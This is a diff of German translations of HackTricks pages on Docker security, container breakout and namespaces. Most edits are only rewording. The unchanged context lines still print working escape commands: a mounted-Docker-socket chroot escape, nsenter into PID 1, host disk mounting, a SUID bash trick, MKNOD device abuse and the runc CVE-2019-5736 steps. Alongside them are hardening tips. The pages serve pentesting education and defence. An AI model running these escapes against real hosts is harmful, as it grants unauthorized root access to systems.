-- **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der Anfrage verbunden sind.
+- **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage verbunden sind.
 
 Diese Kontexte helfen sicherzustellen, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
 
@@ -272,9 +273,9 @@ Für weitere **`--security-opt`** Optionen siehe: [https://docs.docker.com/engin
 
 ## Weitere Sicherheitsüberlegungen
 
-### Verwaltung von Geheimnissen: Beste Praktiken
+### Verwaltung von Geheimnissen: Best Practices
 
-Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden, der Zugriff auf den Container hat, durch Befehle wie `docker inspect` oder `exec` offenlegen.
+Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden, der Zugriff auf den Container hat, durch Befehle wie `docker inspect` oder `exec` zugänglich machen.
 
 **Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, wodurch die Risiken im Zusammenhang mit `docker inspect` und Protokollierung gemindert werden. Allerdings könnten Root-Benutzer und solche mit `exec`-Zugriff auf den Container weiterhin auf die Geheimnisse zugreifen.
 
@@ -317,7 +318,7 @@ https://github.com/google/gvisor
 
 ### Kata Containers
 
-**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Runtime mit leichten virtuellen Maschinen zu erstellen, die sich anfühlen und funktionieren wie Container, aber **stärkere Arbeitslastisolierung durch Hardware-Virtualisierung** als zweite Verteidigungsebene bieten.
+**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Runtime mit leichten virtuellen Maschinen zu erstellen, die sich anfühlen und funktionieren wie Container, aber **stärkere Arbeitslastisolierung durch Hardware-Virtualisierung** Technologie als zweite Verteidigungsebene bieten.
 
 {{#ref}}
 https://katacontainers.io/
@@ -325,10 +326,10 @@ https://katacontainers.io/
 
 ### Zusammenfassende Tipps
 
-- **Verwenden Sie nicht das `--privileged`-Flag oder mounten Sie einen** [**Docker-Socket innerhalb des Containers**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Der Docker-Socket ermöglicht das Erstellen von Containern, sodass es ein einfacher Weg ist, die vollständige Kontrolle über den Host zu übernehmen, indem beispielsweise ein anderer Container mit dem `--privileged`-Flag ausgeführt wird.
+- **Verwenden Sie nicht das `--privileged` Flag oder mounten Sie einen** [**Docker-Socket innerhalb des Containers**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Der Docker-Socket ermöglicht das Erstellen von Containern, sodass es ein einfacher Weg ist, die vollständige Kontrolle über den Host zu übernehmen, indem beispielsweise ein weiterer Container mit dem `--privileged` Flag ausgeführt wird.
-- **Führen Sie nicht als root innerhalb des Containers aus. Verwenden Sie einen** [**anderen Benutzer**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **und** [**Benutzernamensräume**](https://docs.docker.com/engine/security/userns-remap/)**.** Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeschrieben. Er ist nur leicht eingeschränkt durch hauptsächlich Linux-Namensräume, Berechtigungen und cgroups.
+- **Führen Sie nicht als root innerhalb des Containers aus. Verwenden Sie einen** [**anderen Benutzer**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **und** [**Benutzernamensräume**](https://docs.docker.com/engine/security/userns-remap/)**.** Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeschrieben. Er ist nur leicht eingeschränkt durch hauptsächlich Linux-Namensräume, Fähigkeiten und cgroups.
-- [**Entfernen Sie alle Berechtigungen**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) und aktivieren Sie nur die, die erforderlich sind** (`--cap-add=...`). Viele Arbeitslasten benötigen keine Berechtigungen, und das Hinzufügen erhöht den Umfang eines potenziellen Angriffs.
+- [**Entfernen Sie alle Fähigkeiten**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) und aktivieren Sie nur die, die erforderlich sind** (`--cap-add=...`). Viele Arbeitslasten benötigen keine Fähigkeiten, und das Hinzufügen erhöht den Umfang eines potenziellen Angriffs.
-- [**Verwenden Sie die Sicherheitsoption „no-new-privileges“**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), um zu verhindern, dass Prozesse mehr Berechtigungen erhalten, beispielsweise durch SUID-Binärdateien.
+- [**Verwenden Sie die Sicherheitsoption „no-new-privileges“**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), um zu verhindern, dass Prozesse mehr Privilegien erlangen, beispielsweise durch SUID-Binärdateien.
 - [**Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Ressourcenlimits können die Maschine vor Denial-of-Service-Angriffen schützen.
 - **Passen Sie** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(oder SELinux)** Profile an, um die Aktionen und Syscalls, die für den Container verfügbar sind, auf das Minimum zu beschränken.
 - **Verwenden Sie** [**offizielle Docker-Images**](https://docs.docker.com/docker-hub/official_images/) **und verlangen Sie Signaturen** oder erstellen Sie Ihre eigenen basierend auf ihnen. Erben oder verwenden Sie keine [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) Images. Bewahren Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort auf. Docker plant, Schlüssel mit UCP zu verwalten.
@@ -342,7 +343,7 @@ https://katacontainers.io/
 
 ## Docker Breakout / Privilegieneskalation
 
-Wenn Sie **in einem Docker-Container sind** oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **zu entkommen und Privilegien zu eskalieren**:
+Wenn Sie **innerhalb eines Docker-Containers** sind oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **zu entkommen und Privilegien zu eskalieren**:
 
 {{#ref}}
 docker-breakout-privilege-escalation/
@@ -356,7 +357,7 @@ Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in
 authz-and-authn-docker-access-authorization-plugin.md
 {{#endref}}
 
-## Docker-Härtung
+## Härtung von Docker
 
 - Das Tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende von gängigen Best Practices zur Bereitstellung von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
 Sie müssen das Tool vom Host ausführen, der Docker ausführt, oder von einem Container mit ausreichenden Berechtigungen. Finden Sie heraus, **wie Sie es im README ausführen:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md

@@ -12,7 +12,7 @@
 
 ## Mounted Docker Socket Escape
 
-Wenn Sie feststellen, dass der **Docker-Socket gemountet ist** innerhalb des Docker-Containers, werden Sie in der Lage sein, daraus zu entkommen.\
+Wenn Sie irgendwie feststellen, dass der **Docker-Socket gemountet ist** innerhalb des Docker-Containers, werden Sie in der Lage sein, daraus zu entkommen.\
 Dies geschieht normalerweise in Docker-Containern, die aus irgendeinem Grund eine Verbindung zum Docker-Daemon herstellen müssen, um Aktionen auszuführen.
 ```bash
 #Search the socket
@@ -34,7 +34,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
 docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
 ```
 > [!TIP]
-> Falls der **Docker-Socket an einem unerwarteten Ort** ist, können Sie trotzdem mit ihm kommunizieren, indem Sie den **`docker`** Befehl mit dem Parameter **`-H unix:///path/to/docker.sock`** verwenden.
+> Falls der **Docker-Socket an einem unerwarteten Ort** ist, können Sie dennoch mit ihm kommunizieren, indem Sie den **`docker`**-Befehl mit dem Parameter **`-H unix:///path/to/docker.sock`** verwenden.
 
 Der Docker-Daemon könnte auch [an einem Port (standardmäßig 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) lauschen oder auf Systemd-basierten Systemen kann die Kommunikation mit dem Docker-Daemon über den Systemd-Socket `fd://` erfolgen.
 
@@ -48,15 +48,15 @@ Der Docker-Daemon könnte auch [an einem Port (standardmäßig 2375, 2376)](../.
 > - rktlet: `unix:///var/run/rktlet.sock`
 > - ...
 
-## Missbrauch von Berechtigungen zur Flucht
+## Missbrauch von Berechtigungen
 
 Sie sollten die Berechtigungen des Containers überprüfen. Wenn er eine der folgenden hat, könnten Sie möglicherweise daraus entkommen: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
 
-Sie können die aktuellen Container-Berechtigungen mit **bereits erwähnten automatischen Tools** oder:
+Sie können die aktuellen Container-Berechtigungen mit **den zuvor erwähnten automatischen Tools** oder:
 ```bash
 capsh --print
 ```
-Auf der folgenden Seite können Sie **mehr über Linux-Fähigkeiten erfahren** und wie man sie missbrauchen kann, um Privilegien zu entkommen/zu eskalieren:
+Auf der folgenden Seite können Sie **mehr über Linux-Fähigkeiten erfahren** und wie man sie missbrauchen kann, um Privilegien zu entkommen/eskalieren:
 
 {{#ref}}
 ../../linux-capabilities.md
@@ -84,7 +84,7 @@ Das Flag `--privileged` senkt die Sicherheit des Containers erheblich und bietet
 
 ### Privilegiert + hostPID
 
-Mit diesen Berechtigungen können Sie einfach **in den Namensraum eines Prozesses wechseln, der als root auf dem Host läuft**, wie init (pid:1), indem Sie einfach Folgendes ausführen: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
+Mit diesen Berechtigungen können Sie einfach **in den Namensraum eines Prozesses, der als root auf dem Host läuft, wechseln**, wie init (pid:1), indem Sie einfach ausführen: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
 
 Testen Sie es in einem Container, indem Sie ausführen:
 ```bash
@@ -92,9 +92,9 @@ docker run --rm -it --pid=host --privileged ubuntu bash
 ```
 ### Privilegiert
 
-Nur mit dem privilegierten Flag kannst du versuchen, auf **die Festplatte des Hosts** zuzugreifen oder versuchen, **durch die Ausnutzung von release_agent oder anderen Ausbrüchen zu entkommen**.
+Nur mit dem privilegierten Flag kannst du versuchen, auf **die Festplatte des Hosts** zuzugreifen oder versuchen, **durch Missbrauch von release_agent oder anderen Escapes zu entkommen**.
 
-Teste die folgenden Umgehungen in einem Container, indem du ausführst:
+Teste die folgenden Bypässe in einem Container, indem du ausführst:
 ```bash
 docker run --rm -it --privileged ubuntu bash
 ```
@@ -111,7 +111,7 @@ mount /dev/sda1 /mnt/hola
 ```
 Und voilà! Sie können jetzt auf das Dateisystem des Hosts zugreifen, da es im Ordner `/mnt/hola` gemountet ist.
 
-#### Disk Mount - Poc2
+#### Disk Mounten - Poc2
 
 Innerhalb des Containers kann ein Angreifer versuchen, weiteren Zugriff auf das zugrunde liegende Host-Betriebssystem über ein beschreibbares hostPath-Volume zu erhalten, das vom Cluster erstellt wurde. Im Folgenden sind einige gängige Dinge aufgeführt, die Sie innerhalb des Containers überprüfen können, um zu sehen, ob Sie diesen Angreifer-Vektor nutzen können:
 ```bash
@@ -134,7 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
 ### debugfs (Interactive File System Debugger)
 debugfs /dev/sda1
 ```
-#### Privilegierte Eskalation durch Ausnutzung des vorhandenen release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
+#### Privilegierte Escapes Ausnutzung des vorhandenen release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
 ```bash:Initial PoC
 # spawn a new container to exploit via:
 # docker run --rm -it --privileged ubuntu bash
@@ -337,7 +337,7 @@ Ein weiteres interessantes Beispiel findet sich in [**diesem Blog**](https://pro
 
 ### Privilegieneskalation mit 2 Shells und Host-Mount
 
-Wenn Sie als **Root innerhalb eines Containers** Zugriff haben, der einen Ordner vom Host gemountet hat, und Sie als **nicht privilegierter Benutzer zum Host entkommen sind** und Lesezugriff auf den gemounteten Ordner haben.\
+Wenn Sie als **Root innerhalb eines Containers** Zugriff haben, der einen Ordner vom Host gemountet hat, und Sie **als nicht privilegierter Benutzer zum Host entkommen sind** und Lesezugriff auf den gemounteten Ordner haben.\
 Sie können eine **bash suid-Datei** im **gemounteten Ordner** innerhalb des **Containers** erstellen und **von dem Host aus ausführen**, um Privilegien zu eskalieren.
 ```bash
 cp /bin/bash . #From non priv inside mounted folder
@@ -348,12 +348,12 @@ bash -p #From non priv inside mounted folder
 ```
 ### Privilegieneskalation mit 2 Shells
 
-Wenn Sie als **root innerhalb eines Containers** Zugriff haben und als **nicht privilegierter Benutzer auf den Host entkommen sind**, können Sie beide Shells missbrauchen, um **Privesc innerhalb des Hosts** durchzuführen, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden) wie [**in diesem Beitrag erklärt**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
+Wenn Sie als **root innerhalb eines Containers** Zugriff haben und als **nicht privilegierter Benutzer auf den Host entkommen sind**, können Sie beide Shells missbrauchen, um **Privesc innerhalb des Hosts** durchzuführen, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden), wie [**in diesem Beitrag erklärt**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
-Mit dieser Fähigkeit darf der Root-Benutzer innerhalb des Containers **Blockgerätedateien erstellen**. Gerätedateien sind spezielle Dateien, die verwendet werden, um **auf die zugrunde liegende Hardware & Kernel-Module zuzugreifen**. Zum Beispiel gibt die Blockgerätedatei /dev/sda Zugriff auf **das Rohdatenlesen auf der Systemfestplatte**.
+Mit dieser Fähigkeit darf der Root-Benutzer innerhalb des Containers **Blockgerätedateien erstellen**. Gerätedateien sind spezielle Dateien, die verwendet werden, um **auf zugrunde liegende Hardware & Kernel-Module zuzugreifen**. Zum Beispiel gibt die Blockgerätedatei /dev/sda Zugriff auf **das Rohdatenlesen auf der Systemfestplatte**.
 
 Docker schützt vor dem Missbrauch von Blockgeräten innerhalb von Containern, indem eine cgroup-Richtlinie durchgesetzt wird, die **Lese-/Schreiboperationen auf Blockgeräten blockiert**. Dennoch, wenn ein Blockgerät **innerhalb des Containers erstellt wird**, wird es über das Verzeichnis **/proc/PID/root/** von außerhalb des Containers zugänglich. Dieser Zugriff erfordert, dass **der Prozessbesitzer sowohl innerhalb als auch außerhalb des Containers derselbe ist**.
 
-**Exploitation** Beispiel aus diesem [**Writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
+**Exploitation**-Beispiel aus diesem [**Writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
 ```bash
 # On the container as root
 cd /
@@ -425,16 +425,16 @@ Sie können auch **Prozesse beenden und einen DoS verursachen**.
 ```
 docker run --rm -it --network=host ubuntu bash
 ```
-Wenn ein Container mit dem Docker [Host-Netzwerk-Driver (`--network=host`)](https://docs.docker.com/network/host/) konfiguriert wurde, ist der Netzwerk-Stack dieses Containers nicht vom Docker-Host isoliert (der Container teilt sich den Netzwerk-Namespace des Hosts), und der Container erhält keine eigene IP-Adresse. Mit anderen Worten, der **Container bindet alle Dienste direkt an die IP des Hosts**. Darüber hinaus kann der Container **ALLE Netzwerkverkehr, den der Host** sendet und empfängt, auf der gemeinsamen Schnittstelle `tcpdump -i eth0` abfangen.
+Wenn ein Container mit dem Docker [Host-Netzwerk-Driver (`--network=host`)](https://docs.docker.com/network/host/) konfiguriert wurde, ist der Netzwerk-Stack dieses Containers nicht vom Docker-Host isoliert (der Container teilt sich den Netzwerk-Namespace des Hosts), und der Container erhält keine eigene IP-Adresse. Mit anderen Worten, der **Container bindet alle Dienste direkt an die IP des Hosts**. Darüber hinaus kann der Container **ALLE Netzwerkverkehr abfangen, den der Host** über die gemeinsame Schnittstelle sendet und empfängt `tcpdump -i eth0`.
 
-Zum Beispiel kannst du dies verwenden, um **Verkehr abzuhören und sogar zu fälschen** zwischen Host und Metadateninstanz.
+Zum Beispiel können Sie dies verwenden, um **Verkehr abzuhören und sogar zu fälschen** zwischen Host und Metadateninstanz.
 
 Wie in den folgenden Beispielen:
 
 - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
 - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
 
-Du wirst auch in der Lage sein, **Netzwerkdienste, die an localhost gebunden sind**, innerhalb des Hosts zuzugreifen oder sogar die **Metadatenberechtigungen des Knotens** (die möglicherweise anders sind als die, auf die ein Container zugreifen kann) zu erreichen.
+Sie werden auch in der Lage sein, **Netzwerkdienste, die an localhost gebunden sind**, innerhalb des Hosts zuzugreifen oder sogar die **Metadatenberechtigungen des Knotens** (die möglicherweise anders sind als die, auf die ein Container zugreifen kann) zuzugreifen.
 
 ### hostIPC
 ```bash
@@ -442,12 +442,12 @@ docker run --rm -it --ipc=host ubuntu bash
 ```
 Mit `hostIPC=true` erhalten Sie Zugriff auf die interprozessuale Kommunikation (IPC) Ressourcen des Hosts, wie z.B. **gemeinsamen Speicher** in `/dev/shm`. Dies ermöglicht das Lesen/Schreiben, wo dieselben IPC-Ressourcen von anderen Host- oder Pod-Prozessen verwendet werden. Verwenden Sie `ipcs`, um diese IPC-Mechanismen weiter zu inspizieren.
 
-- **Inspektieren von /dev/shm** - Suchen Sie nach Dateien in diesem gemeinsamen Speicherort: `ls -la /dev/shm`
+- **Inspektieren Sie /dev/shm** - Suchen Sie nach Dateien in diesem gemeinsamen Speicherort: `ls -la /dev/shm`
-- **Inspektieren vorhandener IPC-Einrichtungen** – Sie können überprüfen, ob IPC-Einrichtungen verwendet werden mit `/usr/bin/ipcs`. Überprüfen Sie es mit: `ipcs -a`
+- **Inspektieren Sie vorhandene IPC-Einrichtungen** – Sie können überprüfen, ob IPC-Einrichtungen verwendet werden mit `/usr/bin/ipcs`. Überprüfen Sie es mit: `ipcs -a`
 
 ### Fähigkeiten wiederherstellen
 
-Wenn der Syscall **`unshare`** nicht verboten ist, können Sie alle Fähigkeiten wiederherstellen, indem Sie:
+Wenn der Syscall **`unshare`** nicht verboten ist, können Sie alle Fähigkeiten wiederherstellen:
 ```bash
 unshare -UrmCpf bash
 # Check them with
@@ -461,10 +461,10 @@ Die zweite Technik, die im Beitrag [https://labs.withsecure.com/blog/abusing-the
 
 ### Runc-Exploit (CVE-2019-5736)
 
-Falls Sie `docker exec` als root ausführen können (wahrscheinlich mit sudo), versuchen Sie, die Berechtigungen zu eskalieren, indem Sie aus einem Container unter Ausnutzung von CVE-2019-5736 entkommen (Exploit [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Diese Technik wird im Wesentlichen **die** _**/bin/sh**_ Binärdatei des **Hosts** **aus einem Container** **überschreiben**, sodass jeder, der docker exec ausführt, die Payload auslösen kann.
+Falls Sie `docker exec` als root ausführen können (wahrscheinlich mit sudo), versuchen Sie, die Berechtigungen zu eskalieren, indem Sie aus einem Container mit CVE-2019-5736 entkommen (Exploit [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Diese Technik wird im Wesentlichen die _**/bin/sh**_ Binärdatei des **Hosts** **aus einem Container** **überschreiben**, sodass jeder, der docker exec ausführt, die Payload auslösen kann.
 
 Ändern Sie die Payload entsprechend und bauen Sie die main.go mit `go build main.go`. Die resultierende Binärdatei sollte im Docker-Container zur Ausführung platziert werden.\
-Bei der Ausführung, sobald es `[+] Overwritten /bin/sh successfully` anzeigt, müssen Sie Folgendes von der Host-Maschine aus ausführen:
+Bei der Ausführung, sobald `[+] Overwritten /bin/sh successfully` angezeigt wird, müssen Sie Folgendes von der Host-Maschine aus ausführen:
 
 `docker exec -it <container-name> /bin/sh`
 
@@ -482,7 +482,7 @@ Für weitere Informationen: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-
 - **Namespaces:** Der Prozess sollte **vollständig von anderen Prozessen getrennt** sein über Namespaces, sodass wir nicht mit anderen Prozessen interagieren können aufgrund von Namespaces (standardmäßig kann nicht über IPCs, Unix-Sockets, Netzwerkdienste, D-Bus, `/proc` anderer Prozesse kommuniziert werden).
 - **Root-Benutzer**: Standardmäßig ist der Benutzer, der den Prozess ausführt, der Root-Benutzer (seine Berechtigungen sind jedoch eingeschränkt).
 - **Fähigkeiten**: Docker lässt die folgenden Fähigkeiten zu: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
-- **Syscalls**: Dies sind die Syscalls, die der **Root-Benutzer nicht aufrufen kann** (aufgrund fehlender Fähigkeiten + Seccomp). Die anderen Syscalls könnten verwendet werden, um zu versuchen, zu entkommen.
+- **Syscalls**: Dies sind die Syscalls, die der **Root-Benutzer nicht aufrufen kann** (wegen fehlender Fähigkeiten + Seccomp). Die anderen Syscalls könnten verwendet werden, um zu versuchen, zu entkommen.
 
 {{#tabs}}
 {{#tab name="x64 syscalls"}}

src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md

@@ -59,7 +59,7 @@ mount  | grep '(ro'
 
 ### Maskierung über Kernel-Dateisysteme
 
-Das **/proc**-Dateisystem ist selektiv beschreibbar, aber aus Sicherheitsgründen sind bestimmte Teile durch Überlagerung mit **tmpfs** vor Lese- und Schreibzugriffen geschützt, um sicherzustellen, dass Containerprozesse nicht auf sensible Bereiche zugreifen können.
+Das **/proc**-Dateisystem ist selektiv beschreibbar, aber aus Sicherheitsgründen sind bestimmte Teile durch Überlagerung mit **tmpfs** vor Lese- und Schreibzugriff geschützt, sodass Containerprozesse nicht auf sensible Bereiche zugreifen können.
 
 > [!NOTE] > **tmpfs** ist ein Dateisystem, das alle Dateien im virtuellen Speicher speichert. tmpfs erstellt keine Dateien auf Ihrer Festplatte. Wenn Sie ein tmpfs-Dateisystem aushängen, gehen alle darin befindlichen Dateien für immer verloren.
 
@@ -92,7 +92,7 @@ Container-Engines starten die Container mit einer **begrenzten Anzahl von Fähig
 {{#endref}}
 
 {{#tabs}}
-{{#tab name="Innerhalb des Standardcontainers"}}
+{{#tab name="Inside default container"}}
 ```bash
 # docker run --rm -it alpine sh
 apk add -U libcap; capsh --print
@@ -119,7 +119,7 @@ Sie können die verfügbaren Berechtigungen für einen Container manipulieren, o
 
 ### Seccomp
 
-**Seccomp** ist nützlich, um die **syscalls** zu **beschränken**, die ein Container aufrufen kann. Ein standardmäßiges Seccomp-Profil ist standardmäßig aktiviert, wenn Docker-Container ausgeführt werden, aber im privilegierten Modus ist es deaktiviert. Erfahren Sie hier mehr über Seccomp:
+**Seccomp** ist nützlich, um die **syscalls**, die ein Container aufrufen kann, **einzuschränken**. Ein standardmäßiges Seccomp-Profil ist standardmäßig aktiviert, wenn Docker-Container ausgeführt werden, aber im privilegierten Modus ist es deaktiviert. Erfahren Sie hier mehr über Seccomp:
 
 
 {{#ref}}
@@ -164,8 +164,7 @@ apparmor.md
 ```
 ### SELinux
 
-Das Ausführen eines Containers mit dem `--privileged`-Flag deaktiviert **SELinux-Labels**, wodurch es das Label der Container-Engine erbt, typischerweise `unconfined`, was vollen Zugriff ähnlich der Container-Engine gewährt. Im rootlosen Modus verwendet es `container_runtime_t`, während im Root-Modus `spc_t` angewendet wird.
+Das Ausführen eines Containers mit dem `--privileged`-Flag deaktiviert **SELinux-Labels**, wodurch es das Label der Container-Engine erbt, typischerweise `unconfined`, was vollen Zugriff ähnlich der Container-Engine gewährt. Im rootlosen Modus wird `container_runtime_t` verwendet, während im Root-Modus `spc_t` angewendet wird.
-
 
 {{#ref}}
 ../selinux.md
@@ -174,11 +173,11 @@ Das Ausführen eines Containers mit dem `--privileged`-Flag deaktiviert **SELinu
 # You can manually disable selinux in docker with
 --security-opt label:disable
 ```
-## Was nicht betroffen ist
+## Was Nicht Beeinflusst
 
 ### Namespaces
 
-Namespaces sind **NICHT betroffen** von der `--privileged`-Option. Auch wenn sie keine Sicherheitsbeschränkungen aktiviert haben, **sehen sie beispielsweise nicht alle Prozesse im System oder im Host-Netzwerk**. Benutzer können einzelne Namespaces deaktivieren, indem sie die **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** Container-Engine-Flags verwenden.
+Namespaces sind **NICHT betroffen** von dem `--privileged` Flag. Auch wenn sie die Sicherheitsbeschränkungen nicht aktiviert haben, **sehen sie beispielsweise nicht alle Prozesse im System oder im Host-Netzwerk**. Benutzer können einzelne Namespaces deaktivieren, indem sie die **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** Container-Engine-Flags verwenden.
 
 {{#tabs}}
 {{#tab name="Inside default privileged container"}}

src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Grundlegende Informationen
+## Grundinformationen
 
 Ein cgroup-Namespace ist eine Funktion des Linux-Kernels, die **Isolation von cgroup-Hierarchien für Prozesse, die innerhalb eines Namespaces ausgeführt werden**, bereitstellt. Cgroups, kurz für **control groups**, sind eine Kernel-Funktion, die es ermöglicht, Prozesse in hierarchischen Gruppen zu organisieren, um **Grenzen für Systemressourcen** wie CPU, Speicher und I/O zu verwalten und durchzusetzen.
 
@@ -29,29 +29,29 @@ Für weitere Informationen über CGroups siehe:
 ```bash
 sudo unshare -C [--mount-proc] /bin/bash
 ```
-Durch das Einhängen einer neuen Instanz des `/proc` Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die zu diesem Namespace gehören**.
+Durch das Einhängen einer neuen Instanz des `/proc` Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namensraum eine **genaue und isolierte Sicht auf die Prozessinformationen hat, die spezifisch für diesen Namensraum sind**.
 
 <details>
 
 <summary>Fehler: bash: fork: Kann Speicher nicht zuweisen</summary>
 
-Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der auf die Art und Weise zurückzuführen ist, wie Linux neue PID (Process ID) Namespaces behandelt. Die wichtigsten Details und die Lösung sind unten aufgeführt:
+Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der auf die Art und Weise zurückzuführen ist, wie Linux neue PID (Prozess-ID) Namensräume behandelt. Die wichtigsten Details und die Lösung sind unten aufgeführt:
 
-1. **Problembeschreibung**:
+1. **Problemerklärung**:
 
-- Der Linux-Kernel erlaubt es einem Prozess, neue Namespaces mit dem Systemaufruf `unshare` zu erstellen. Der Prozess, der die Erstellung eines neuen PID-Namespace initiiert (als "unshare" Prozess bezeichnet), tritt jedoch nicht in den neuen Namespace ein; nur seine Kindprozesse tun dies.
+- Der Linux-Kernel erlaubt es einem Prozess, neue Namensräume mit dem Systemaufruf `unshare` zu erstellen. Der Prozess, der die Erstellung eines neuen PID-Namensraums initiiert (als "unshare" Prozess bezeichnet), tritt jedoch nicht in den neuen Namensraum ein; nur seine Kindprozesse tun dies.
-- Das Ausführen von `%unshare -p /bin/bash%` startet `/bin/bash` im selben Prozess wie `unshare`. Folglich befinden sich `/bin/bash` und seine Kindprozesse im ursprünglichen PID-Namespace.
+- Das Ausführen von `%unshare -p /bin/bash%` startet `/bin/bash` im selben Prozess wie `unshare`. Folglich befinden sich `/bin/bash` und seine Kindprozesse im ursprünglichen PID-Namensraum.
-- Der erste Kindprozess von `/bin/bash` im neuen Namespace wird PID 1. Wenn dieser Prozess beendet wird, wird die Bereinigung des Namespaces ausgelöst, wenn keine anderen Prozesse vorhanden sind, da PID 1 die besondere Rolle hat, verwaiste Prozesse zu übernehmen. Der Linux-Kernel deaktiviert dann die PID-Zuweisung in diesem Namespace.
+- Der erste Kindprozess von `/bin/bash` im neuen Namensraum wird zu PID 1. Wenn dieser Prozess beendet wird, wird die Bereinigung des Namensraums ausgelöst, wenn keine anderen Prozesse vorhanden sind, da PID 1 die besondere Rolle hat, verwaiste Prozesse zu übernehmen. Der Linux-Kernel deaktiviert dann die PID-Zuweisung in diesem Namensraum.
 
 2. **Folge**:
 
-- Das Verlassen von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING` Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, wenn versucht wird, eine neue PID zuzuweisen, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
